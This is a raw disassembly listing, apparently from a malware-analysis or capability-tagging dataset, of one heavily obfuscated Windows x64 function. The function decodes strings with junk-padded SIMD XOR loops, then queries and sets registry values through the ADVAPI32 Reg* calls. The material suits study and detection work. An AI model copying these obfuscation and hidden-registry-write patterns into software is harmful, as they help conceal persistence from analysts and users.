Function at 0x140024740
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
xchg r11, rsp
mov rsp, r11
xchg r11, rsp
jmp 0x140024a7c
movaps xmmword [rcx - 0x38], xmm7
xchg r11, rcx
xchg rbp, r11
movaps xmmword [rbp - 0x48], xmm8
xchg r11, rbp
mov rax, qword [0x140248220]
xchg r12, r12
jmp 0x1400249ce
punpckhdq xmm0, xmm2
mov r14, r14
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
add r8d, 0x94ff427
sub r8d, 0x94ff41f
jmp 0x140024c3b
pmulld xmm0, xmm7
psubd xmm3, xmm0
mov rbx, rbx
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140024ac7
mov qword [r11 + 8], rsi
lea r14d, [rbx + 4]
mov dword [rsp - 0x14], 0x2570e4ec
jmp 0x140024c03
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x140024c55
xor r9d, 0x792b59b7
sub r9d, 0x68b1641c
add r9d, 0xa54be48
jmp 0x1400249a0
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
xchg r10, r10
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
xchg rdi, rdi
jmp 0x140024a3b
movaps xmmword [r15 - 0x28], xmm6
xchg r11, r15
xchg rcx, r11
jmp 0x14002474e
sub edx, 0x7212487e
add edx, 0x72124886
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
xchg r8, r8
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140024d6e
movd xmm2, r8d
mov dword [rsp - 0x38], 0x47d971fa
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
mov dword [rsp - 0x34], ebp
paddd xmm2, xmm5
jmp 0x140024b24
xchg rdi, rsp
movups xmm1, xmmword [0x14010c9f0]
mov r14, r14
mov word [rbp - 0x80], ax
movzx eax, byte [0x14010ca02]
xchg rsp, rdi
movups xmmword [rdi + 0x60], xmm0
jmp 0x140024d24
add eax, 0xb569247
sub eax, 0x4817bd9b
add eax, 0x46c92d2e
xor eax, 0x2084779b
sub eax, 0x26374a88
lea r9, [r9 + 1]
mov dword [rsp - 0x30], 0x5ff481cd
jmp 0x1400249e5
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
xchg r14, r14
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
paddb xmm2, xmm0
jmp 0x140024e05
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
xchg r9, r9
pshufhw xmm1, xmm0, 0xd8
jmp 0x1400247f3
pmuldq xmm1, xmm4
mov dword [rsp - 0x28], 0x498f0bd9
movd xmm0, edx
jmp 0x1400247c7
movd xmm8, r15d
nop dword [rax + rax]
mov dword [rsp - 0x18], 0x3683f549
jmp 0x140024c78
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x20], 0x1cff9099
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
jmp 0x1400248fe
jmp 0x140024f3e
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0x28], 0xd459ac7
pshufd xmm2, xmm1, 0xd8
jmp 0x14002492b
xchg r10, r10
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
jmp 0x140024827
shr eax, 8
shr eax, 1
shr eax, 1
add edx, eax
movsx eax, dl
mov dword [rsp - 0x40], esp
imul ecx, eax, 0x36
jmp 0x140024b41
xor r9d, 0x15c50cc0
xchg r11, rax
mov qword [rsp + 0x20], r11
xchg r11, rax
xor r8d, r8d
jmp 0x140024b0f
movups xmm0, xmmword [0x14010c9e0]
xor sil, sil
xchg rsp, rdi
movups xmmword [rdi + 0x50], xmm1
jmp 0x140024873
xor rax, rsp
xchg r10, rax
mov qword [rbp + 0x10], r10
xchg r10, rax
movups xmm0, xmmword [0x14010c9c0]
jmp 0x140024a90
imul r8d
sar edx, 3
sar edx, 1
mov eax, edx
xchg r9, r9
shr eax, 0x14
shr eax, 1
jmp 0x140024988
movdqa xmm7, xmmword [str.6666]
xchg rdx, rsp
movdqa xmmword [rdx + 0x30], xmm0
xchg rsp, rdx
mov r8d, dword [rsp + 0x30]
mov r11, r11
movd xmm6, r14d
jmp 0x140024914
cmp edi, 2
mov dword [rsp - 0x30], ecx
jl 0x140024e50
movdqa xmm0, xmmword [str.2222222222222222]
jmp 0x140024d00
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
mov dword [rsp - 0x24], 0xebd05df
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x140024d37
psrad xmm1, xmm6
movdqa xmm0, xmm1
xchg rbx, rbx
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140024793
mov qword [r11 + 0x10], rbx
xchg r13, rdi
mov qword [r11 + 0x18], r13
xchg r13, rdi
push rbp
jmp 0x140024cc6
mov dword [rsp - 0x40], edx
xor ebx, ebx
movups xmm1, xmmword [0x14010c9d0]
mov r8d, ebx
xchg rbp, rbp
movzx eax, word [0x14010ca00]
mov edi, dword [0x140248200]
jmp 0x1400247b2
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140024bc9
pshufd xmm2, xmm1, 0xd8
mov r15, r15
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
paddb xmm2, xmm0
xchg r15, r15
movd xmm0, dword [rcx - 8]
jmp 0x140024cac
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm7, xmmword [str.6666]
mov r14, r14
xchg rbp, rsp
jmp 0x140024b55
lea rdx, [rsp + 0x40]
nop
movabs rcx, 0xffffffff5d8dd92e
jmp 0x140024ba8
movd xmm3, eax
movdqa xmm1, xmm2
xchg rcx, rcx
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x14002476f
movzx eax, r8b
inc r8d
mov dword [rsp - 0x34], 0x4bffefde
jmp 0x140024c98
movdqa xmmword [rbp + 0x30], xmm0
xchg rsp, rbp
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
mov dword [rsp - 0x2c], 0x7de93d04
movd xmm8, r15d
nop dword [rax]
jmp 0x14002484c
mov byte [rbp - 0x7e], al
xchg r9, r9
cmp edi, 2
jl 0x140024d9d
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
mov dword [rsp - 0xc], 0x5e4c0b37
jmp 0x140024aec
xor rcx, 0x6ef53d8a
sub rcx, 0x13a67250
xor rcx, 0x75b7df44
xor rcx, 0x71d5cf66
jmp 0x140024d59
mov dword [rsp - 0x3c], edx
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
mov r10, r10
jmp 0x1400248c1
mov r14, r14
mov dword [rbp + 8], r14d
xchg rdx, rsp
movsd qword [rdx + 0x50], xmm1
xchg rdx, rsp
je 0x140024f3e
mov r8d, ebx
jmp 0x140024a21
xchg rsp, rbx
movups xmmword [rbx + 0x40], xmm0
xchg rbx, rsp
lea r15d, [rbx + 0x1f]
mov dword [rsp - 0x28], 0x2c15da4f
jmp 0x1400249b8
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
mov r8, r8
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x140024976
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x30], esp
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140024dad
mov dword [rsp - 0x3c], ebp
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x24], esi
shufps xmm1, xmm0, 0xdd
jmp 0x140024a63
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
mov rdx, rdx
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x140024c1e
sub al, cl
sub al, 0xce
xor byte [r9 - 1], al
cmp r8d, 0x43
xchg r13, r13
jmp 0x140024ddd
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
mov dword [rsp - 0x14], 0x623d4d40
jmp 0x140024d89
push r14
xchg rbx, rbx
nop
sub rsp, 8
mov qword [rsp], r15
lea rbp, [r11 - 0x78]
mov dword [rsp - 0xc], edi
jmp 0x140024e3a
movups xmm0, xmmword [0x14010ca08]
mov rbp, rbp
mov dword [rbp], ebx
movsd xmm1, qword [str.467__ItVUACE_j_OHTPX3]
movups xmmword [rsp + 0x40], xmm0
jmp 0x140024be3
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
mov dword [rsp - 0xc], 0x4a9ebdf2
mov edx, ebx
movdqa xmm4, xmmword [0x14010d420]
jmp 0x1400249fc
xchg rdi, rsp
xchg rsp, r11
movups xmmword [r11 + 0x70], xmm1
xchg rsp, r11
jmp 0x140024b7f
punpckhdq xmm0, xmm3
mov r15, r15
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x20], ecx
psrad xmm1, xmm6
jmp 0x140024ab5
add rcx, 0x644f9d8c
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
xchg r11, r11
jmp 0x140024e27
psrld xmm0, xmm8
paddd xmm0, xmm1
mov dword [rsp - 0x38], 0x1f42b8ae
pmulld xmm0, xmm7
jmp 0x1400248e8
jl 0x14002484c
cmp r8d, 0x43
jge 0x140024de3
mov dword [rsp - 0x10], ebp
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
jmp 0x140024dbe
psrld xmm0, xmm8
paddd xmm0, xmm1
xchg rdi, rdi
jmp 0x140024951
nop dword [rax]
mov dword [rsp - 0x1c], edi
nop dword [rax + rax]
mov eax, 0x650b6ebf
sub eax, 0x1c7e45b5
jmp 0x140024897
jl 0x140024dce
lea rax, [rbp - 0x10]
movaps xmmword [rsp + 0x120], xmm9
mov r10, r10
mov r9d, 0x31d5ff74
sub r9d, 0x24c81410
jmp 0x1400247d9
movd xmm0, dword [rcx - 8]
xchg r8, r8
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x18
jl 0x140024c78
mov rcx, rcx
jmp 0x14002494c
test eax, eax
jne 0x14002586b
cmp byte [0x14010ca1f], bl
jmp 0x140024ce1
add rsp, 0x77c011c5
sub rsp, 0x77c01325
xchg r15, r11
jmp 0x140024817
lea r9, [rsp + 0x40]
mov dword [rsp - 0xc], 0x7c813b8c
nop dword [rax + rax]
mov eax, 0x3979e4ac
add eax, 0x417c766d
xor eax, 0x693b5be0
add eax, 0x540e9ce0
jmp 0x1400251db
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xchg rsi, rsi
pxor xmm2, xmm0
jmp 0x140024fd7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
mov dword [rsp - 0xc], 0xe26a10e
jmp 0x14002512e
cmp byte [0x14010ca37], bl
movups xmm0, xmmword [0x14010ca20]
pushf
mov dword [rbp], 0x399f110f
add dword [rbp], 0xac91775
xor dword [rbp], 0x58b99e86
sub dword [rbp], 0xf369cfd
jmp 0x14002518e
movdqa xmmword [r13 + 0x30], xmm0
xchg r13, rsp
mov r8d, dword [rsp + 0x30]
movd xmm6, r14d
mov dword [rsp - 0x40], 0x75c21ad8
movd xmm8, r15d
nop dword [rax]
jmp 0x14002505e
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov r14, r14
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400251ef
mov dword [rsp - 0x1c], ebx
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
jmp 0x140025119
xchg rdx, rcx
mov rdx, qword [rbp - 0x10]
xchg rdx, rcx
lea rax, [rbp + 8]
mov dword [rsp - 0x24], 0x2ed4be6
mov qword [rsp + 0x28], rax
jmp 0x14002500c
add eax, edx
shr eax, 3
shr eax, 2
movsx eax, al
jmp 0x1400251c2
movdqa xmm5, xmmword [0x14010c2c0]
mov edx, ebx
movdqa xmm4, xmmword [0x14010d420]
mov dword [rsp - 0x3c], edi
movdqa xmm7, xmmword [str.6666]
xchg r13, rsp
jmp 0x140024ede
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
mov dword [rsp - 0x38], ebp
pmuldq xmm1, xmm4
movd xmm0, r8d
jmp 0x140024e7e
mov dword [rsp - 0x1c], ecx
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
mov dword [rsp - 0x34], edx
pand xmm2, xmmword [0x14010c300]
jmp 0x140024f94
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
mov dword [rsp - 0x10], ecx
pmuldq xmm0, xmm4
jmp 0x140024f06
je 0x14002562c
mov r8d, ebx
cmp edi, 2
mov dword [rsp - 0x1c], 0x51c6611b
jl 0x140025205
jmp 0x1400251a8
lea rdx, [rsp + 0x40]
lea rax, [rbp]
mov dword [rsp - 0xc], edx
xor r9d, r9d
xor r8d, r8d
xchg rbp, rax
mov qword [rsp + 0x20], rbp
jmp 0x14002517f
mov dword [rsp - 0x14], ecx
paddd xmm3, xmm5
pmuldq xmm0, xmm4
neg edx
add edx, 0xfffffff8
jmp 0x140025102
sub dword [rbp], 0x1cf4a876
popf
movsd xmm1, qword [str.467__It]
mov r9, r9
xchg rbp, rsp
jmp 0x1400250aa
movd xmm2, edx
xchg r15, r15
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
jmp 0x140024f24
packuswb xmm2, xmm2
mov r13, r13
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
jmp 0x14002508f
movd dword [rcx - 8], xmm2
mov dword [rsp - 0xc], 0x154b132b
cmp edx, 0x18
jl 0x14002505e
jmp 0x14002562c
movups xmmword [rbp + 0x40], xmm0
xchg rbp, rsp
movsd qword [rsp + 0x50], xmm1
mov dword [rsp - 0x1c], 0x5f101a73
jmp 0x140024fed
movdqa xmm0, xmm1
psrld xmm0, xmm8
xchg rcx, rcx
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140024faf
mov dword [rsp - 0x10], 0x764f0750
jne 0x140024eae
cmp dword [rbp], 3
je 0x140025f0c
mov r14, r14
jmp 0x140024eae
neg edx
pmuldq xmm1, xmm4
mov r8, r8
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x1400250c4
mov dword [rsp - 0x30], ebx
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
jmp 0x14002502b
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
jmp 0x140025076
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
mov r14, r14
jmp 0x140024f5e
sub eax, 0xee20965
lea r9, [r9 + 1]
xchg r14, r14
jmp 0x140025145
xor byte [r9 - 1], al
mov dword [rsp - 0x34], esp
cmp r8d, 0x18
jl 0x140024e65
jmp 0x140024f3e
xchg rbp, rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jmp 0x1400250e2
xor dword [rbp], 0x60a845fd
add dword [rbp], 0x7bc5794
xor dword [rbp], 0x681b1cf5
jmp 0x140025042
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rsp + 0x44]
mov dword [rsp - 0x2c], 0x164251cc
jmp 0x140024f6e
xchg r9, r9
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
xchg rsp, rsp
sub al, cl
sub al, 0xce
jmp 0x140025168
sub eax, 0x32686958
sub eax, 0x278c39c7
add eax, 0x30635a86
jmp 0x140025157
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x44], 0x15d569d0
jmp 0x140024e93
lea r9, [rsp + 0x40]
nop dword [rax + rax]
mov eax, 0x652603d3
sub eax, 0x4866dc62
jmp 0x1400254c6
mov r8d, ebx
mov dword [rsp - 0x44], 0x4ad42553
cmp edi, 2
jmp 0x140025905
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
xchg rcx, rcx
jmp 0x140025464
sub eax, 0x16632031
xor eax, 0x69eb0732
sub eax, 0x41706afc
add eax, 0x17a08022
jmp 0x140025fb5
mov eax, 0x8308009
add eax, 0x2d49ea5f
add eax, 0x3789f245
xor eax, 0x5fa247b9
jmp 0x14002524c
mov dword [rsp - 0x3c], 0x17d435ce
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x1400262ea
xchg rdi, rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xchg r8, r8
test eax, eax
je 0x140025fdb
jmp 0x140025840
movd xmm0, edx
paddb xmm2, xmm0
mov dword [rsp - 0x2c], 0x237a8a35
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x1400257f8
cmp r8d, 0x1c
jl 0x140026588
mov rcx, qword [rbp - 0x10]
lea rax, [rbp + 8]
mov dword [rsp - 0xc], ecx
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
jmp 0x14002596d
movdqa xmmword [r9 + 0x30], xmm0
xchg r9, rsp
mov edx, dword [rsp + 0x30]
movd xmm6, r14d
mov dword [rsp - 0x24], 0x3da7fe22
movd xmm8, r15d
jmp 0x1400263e5
sar edx, 2
sar edx, 1
sar edx, 1
mov eax, edx
shr eax, 0x1e
jmp 0x1400264d6
lea r9, [rsp + 0x40]
mov dword [rsp - 0x44], 0x7f885562
lea r9, [r9 + rax*2]
mov eax, 0x612e623c
sub eax, 0x2a07a621
jmp 0x140025361
movups xmmword [rdx + 0x50], xmm1
xchg rsp, rdx
xchg rsi, rsp
movups xmmword [rsi + 0x60], xmm0
xchg rsi, rsp
jmp 0x14002606c
add eax, 0x28d6e1a7
sub eax, 0x5617f608
add eax, 0x455859d3
xor eax, 0x6ab49ad8
xor eax, 0x34fc181d
add eax, 0x59221cb9
jmp 0x140025e8a
mov rdx, rdx
movd xmm1, dword [rbp + 4]
packuswb xmm2, xmm2
movd xmm0, eax
jmp 0x140025ae1
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
xchg rsp, rsp
jl 0x1400263e5
cmp r8d, 0x1c
jge 0x1400258f3
jmp 0x140026111
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x14002640b
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x2c], edx
jmp 0x140025d98
mov dword [rsp - 0x14], ecx
movdqa xmm9, xmmword [0x14010c2f0]
movd xmm6, r14d
movd xmm8, r15d
jmp 0x1400255b5
mov r15, r15
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
mov r13, r13
pmulld xmm0, xmmword [str.6666]
jmp 0x140025bdd
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
xchg rbp, rbp
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
mov r14, r14
jmp 0x1400253be
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
mov rsi, rsi
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
jmp 0x14002598b
pmulld xmm0, xmmword [str.6666]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
mov dword [rsp - 0x30], edi
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
jmp 0x140025384
jl 0x140026352
mov dword [rsp - 0x38], ebp
cmp r8d, 0x1b
jge 0x140025701
movsxd rax, r8d
jmp 0x140025765
shufps xmm1, xmm0, 0xdd
mov rdi, rdi
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x14002527e
sub eax, 0x1b94b315
xor eax, 0x154037ef
xor eax, 0x4c1ffbe5
sub eax, 0x3bbcf10
xor eax, 0x7bd1a29d
lea r9, [r9 + 1]
mov rsi, rsi
jmp 0x1400259c3
movdqa xmm1, xmm3
mov r15, r15
pand xmm2, xmmword [0x14010c300]
jmp 0x140025552
add r10, rax
nop dword [rax]
nop dword [rax + rax]
jmp 0x14002664f
imul ecx, eax, 0x36
mov dword [rsp - 0x3c], 0x3f31a88e
movzx eax, r8b
inc r8d
sub al, cl
mov dword [rsp - 0x20], edi
jmp 0x140025a88
mov dword [rsp - 0x18], 0x134b7db7
je 0x1400258f3
mov r8d, ebx
cmp edi, 2
jl 0x140026114
xchg rbx, rbx
jmp 0x140026421
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x1400256d9
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
xchg r13, r13
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
jmp 0x140025635
sar edx, 2
sar edx, 1
sar edx, 1
mov eax, edx
mov rsi, rsi
shr eax, 0x1b
shr eax, 3
jmp 0x1400261eb
mov dword [rsp - 0x28], esi
lea rdx, [rsp + 0x40]
mov r9d, r14d
xchg rdi, rax
mov qword [rsp + 0x20], rdi
jmp 0x140025294
movd xmm2, r8d
xchg r14, r14
lea eax, [r8 + 4]
jmp 0x140025a4a
shr eax, 3
shr eax, 1
add edx, eax
mov dword [rsp - 0x18], ecx
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
jmp 0x140025ab2
sub eax, 0xe4deb80
add eax, 0x4c34c167
xor eax, 0x364b0fd9
lea r9, [r9 + 1]
jmp 0x140025d10
lea rdx, [rsp + 0x40]
mov dword [rsp - 0x28], 0x4e410da9
nop
movabs rcx, 0xffffffff4f14a8f2
xor rcx, 0x74cce3e3
add rcx, 0x441e1ce6
jmp 0x140026022
xchg r11, r11
jl 0x140025212
mov rcx, qword [rbp - 0x10]
jmp 0x140025668
punpckldq xmm1, xmm2
mov dword [rsp - 0x30], 0x4cbc7e9c
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140025f17
pushf
mov dword [rbp - 8], 0x3c1625f
add dword [rbp - 8], 0x2a397047
jmp 0x14002653a
lea rax, [rbp]
mov dword [rsp - 0x44], esi
mov dword [rsp + 0x28], r14d
lea rdx, [rsp + 0x40]
mov r9d, r14d
xchg r13, rax
jmp 0x140025d5b
xchg r8, r8
paddb xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x140026309
mov dword [rsp - 0xc], 0x76cea9c9
paddd xmm0, xmm1
pmulld xmm0, xmm7
jmp 0x14002570b
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
xchg r9, r9
jmp 0x1400263b0
pmuldq xmm0, xmm4
xchg r15, r15
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x14], ecx
jmp 0x1400253d0
mov dword [rsp - 0x28], ebx
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
jmp 0x14002588a
mov dword [rsp - 0x28], 0x28b53ab7
cmp r8d, 0x1b
jl 0x140025265
lea rcx, [rsp + 0x40]
jmp 0x140026179
psubd xmm2, xmm0
xchg r9, r9
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x1c], esi
jmp 0x140025ed7
nop
add r8d, 0x59085351
sub r8d, 0x59085349
pmuldq xmm1, xmm4
jmp 0x1400254ad
pmuldq xmm1, xmm4
xchg r11, r11
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x14], ecx
jmp 0x140025b8c
xchg r10, r10
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop
mov dword [rsp - 0x24], 0x649c8eb
jmp 0x140025265
xor r9d, 0x64b42676
xor r8d, r8d
mov qword [rsp + 0x20], rax
jmp 0x1400255f8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov rsp, rsp
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140025fe7
movsxd rax, r8d
lea r9, [rsp + 0x40]
mov dword [rsp - 0x18], 0x676cac49
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov rsi, rsi
jmp 0x140026588
mov dword [rsp - 0x24], ecx
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x140025ca6
punpckhdq xmm0, xmm3
mov r15, r15
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x20], 0x30eaeb66
jmp 0x1400258b9
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
paddb xmm2, xmm0
mov dword [rsp - 0x3c], 0xb2c048b
movd xmm0, dword [rcx - 8]
jmp 0x140025399
mov eax, dword [0x14010cae0]
mov r8, r8
mov r8d, ebx
mov dword [rsp + 0x70], eax
movzx eax, word [0x14010cae4]
mov word [rsp + 0x74], ax
mov dword [rsp - 0x3c], ebp
jmp 0x140025d73
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x14010caf0]
mov r8d, ebx
mov eax, dword [0x14010cb40]
xchg r10, r10
movups xmm1, xmmword [0x14010cb00]
jmp 0x14002618d
pxor xmm2, xmm0
mov dword [rsp - 0x38], 0x27cf8d83
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
jmp 0x14002609a
sub ax, 0x52b8
add ax, 0x52ea
xor word [r9 - 2], ax
mov dword [rsp - 0x20], ebp
jmp 0x140025fc4
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x1c], esi
psubd xmm3, xmm0
jmp 0x140025cce
movups xmmword [rcx + 0x70], xmm1
xchg rcx, rsp
mov byte [rbp - 0x6a], al
cmp edi, 2
mov rdx, rdx
jmp 0x140026570
jl 0x140025c8d
mov rcx, qword [rbp - 0x10]
lea rax, [rbp - 8]
mov dword [rsp + 0x28], r14d
jmp 0x14002559d
jl 0x1400257b6
movdqa xmm0, xmmword [str.2222222222222222]
mov dword [rsp - 0x14], 0x4db6e7d3
lea rcx, [rsp + 0x44]
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010d420]
jmp 0x140025e6a
xchg rbx, rsp
movups xmm0, xmmword [0x14010ca58]
mov dword [rsp - 0x3c], 0x3d8ba3
movups xmmword [rsp + 0x50], xmm1
xchg rsp, r15
movups xmmword [r15 + 0x60], xmm0
jmp 0x140026230
nop
add r8d, 0x2628d601
sub r8d, 0x2628d5f9
jmp 0x140025743
lea rax, [rbp - 8]
mov dword [rsp - 0x20], 0x7569544a
xor r9d, r9d
xor r8d, r8d
xchg r13, rax
mov qword [rsp + 0x20], r13
jmp 0x140026147
pshufd xmm3, xmm3, 0
mov r10, r10
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x140025a9c
add r8d, 0x2f716158
movdqa xmm1, xmm2
xchg rdi, rdi
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
mov dword [rsp - 0x24], ebx
jmp 0x140025793
mul r8d
mov eax, r8d
sub eax, edx
xchg r9, r9
shr eax, 1
add eax, edx
jmp 0x140025a70
mov rbp, rbp
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x140025a2c
mov dword [rsp - 0x20], 0x4a4c8c0f
sub al, cl
sub al, 0xce
xor byte [r9 - 1], al
cmp r8d, 0x18
jmp 0x140025623
mov rdi, rdi
movdqa xmm4, xmmword [0x14010d420]
movdqa xmm1, xmm2
jmp 0x140025c58
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
jmp 0x1400262a2
mov dword [rsp - 0x40], 0x349be52
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400257dd
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
mov dword [rsp - 0x1c], 0x47434c61
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x140025c3b
shr eax, 5
mov r12, r12
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
jmp 0x1400259ed
sub al, 0xff
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1c
xchg rbx, rbx
jmp 0x1400258ed
punpckhdq xmm0, xmm2
mov dword [rsp - 0x24], edx
paddd xmm3, xmm5
pmuldq xmm0, xmm4
jmp 0x140026160
mov dword [rsp - 0x28], edi
inc r8d
sub ax, cx
jmp 0x140025dc0
movq xmm0, qword [rcx - 0x10]
